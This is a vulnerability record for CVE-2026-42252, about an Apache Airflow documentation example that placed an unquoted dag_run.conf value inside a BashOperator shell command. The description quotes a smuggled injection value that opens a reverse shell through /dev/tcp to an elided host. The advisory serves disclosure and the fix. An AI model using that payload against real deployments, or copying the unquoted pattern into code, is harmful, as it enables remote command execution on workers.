CVE-2026-42252

{"id": "CVE-2026-42252", "cveTags": [], "metrics": {"ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"id": "CVE-2026-42252", "role": "CISA Coordinator", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "total"}], "version": "2.0.3", "timestamp": "2026-06-02T16:05:01.041622Z"}}], "cvssMetricV31": [{"type": "Secondary", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "cvssData": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 9.1, "attackVector": "NETWORK", "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "NONE", "privilegesRequired": "NONE", "confidentialityImpact": "HIGH"}, "impactScore": 5.2, "exploitabilityScore": 3.9}]}, "affected": [{"source": "security@apache.org", "affectedData": [{"vendor": "Apache Software Foundation", "product": "Apache Airflow", "versions": [{"status": "affected", "version": "3.0.0", "lessThan": "3.2.2", "versionType": "semver"}], "packageName": "apache-airflow", "collectionURL": "https://pypi.python.org", "defaultStatus": "unaffected"}]}], "published": "2026-06-01T09:16:18.560", "references": [{"url": "https://github.com/apache/airflow/pull/64129", "tags": ["Issue Tracking", "Patch"], "source": "security@apache.org"}, {"url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7", "tags": ["Mailing List", "Vendor Advisory"], "source": "security@apache.org"}], "vulnStatus": "Analyzed", "weaknesses": [{"type": "Secondary", "source": "security@apache.org", "description": [{"lang": "en", "value": "CWE-1336"}]}], "descriptions": [{"lang": "en", "value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."}, {"lang": "es", "value": "La documentaci\u00f3n oficial de Apache Airflow en 'core-concepts/dag-run.html' ( Pasando par\u00e1metros al activar Dags ) mostraba un ejemplo textual de 'BashOperator(bash_command=\"echo value: {{ dag_run.conf[ conf1 ] }}\")' sin ninguna advertencia de entrecomillado / saneamiento. Los autores de Dags que copiaron el patr\u00f3n textualmente en despliegues donde los usuarios ten\u00edan permiso 'Dag.can_trigger' en el Dag afectado (despliegues multi-equipo t\u00edpicos, ofertas alojadas que exponen una API de activaci\u00f3n) podr\u00edan estar expuestos a inyecci\u00f3n de metacaracteres de shell a trav\u00e9s del campo 'conf' de la API de activaci\u00f3n: un usuario de activaci\u00f3n autenticado podr\u00eda suministrar '\"; bash -i & /dev/tcp/.../9999 0 &1; #\"' como valor de 'conf' y alcanzar un 'os.exec' en el worker. Este CVE cubre la correcci\u00f3n de la documentaci\u00f3n en 'apache/airflow' PR 64129 - el patr\u00f3n en el ejemplo de la documentaci\u00f3n ahora incluye entrecomillado de shell expl\u00edcito y una advertencia de seguridad. Afecta a los despliegues cuyo c\u00f3digo de Dag fue modelado seg\u00fan el ejemplo de la documentaci\u00f3n pre-correcci\u00f3n. De la misma clase que las correcciones de patr\u00f3n de documentaci\u00f3n anteriores CVE-2025-50213 y CVE-2025-27018. Se aconseja a los usuarios actualizar a 'apache-airflow' 3.2.2 o posterior para obtener la documentaci\u00f3n corregida que se incluye con la versi\u00f3n."}], "lastModified": "2026-07-21T19:10:00.107", "configurations": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "386C9448-B31E-4094-9935-5FDA9DB550B0", "versionEndExcluding": "3.2.2", "versionStartIncluding": "3.0.0"}], "operator": "OR"}]}], "sourceIdentifier": "security@apache.org"}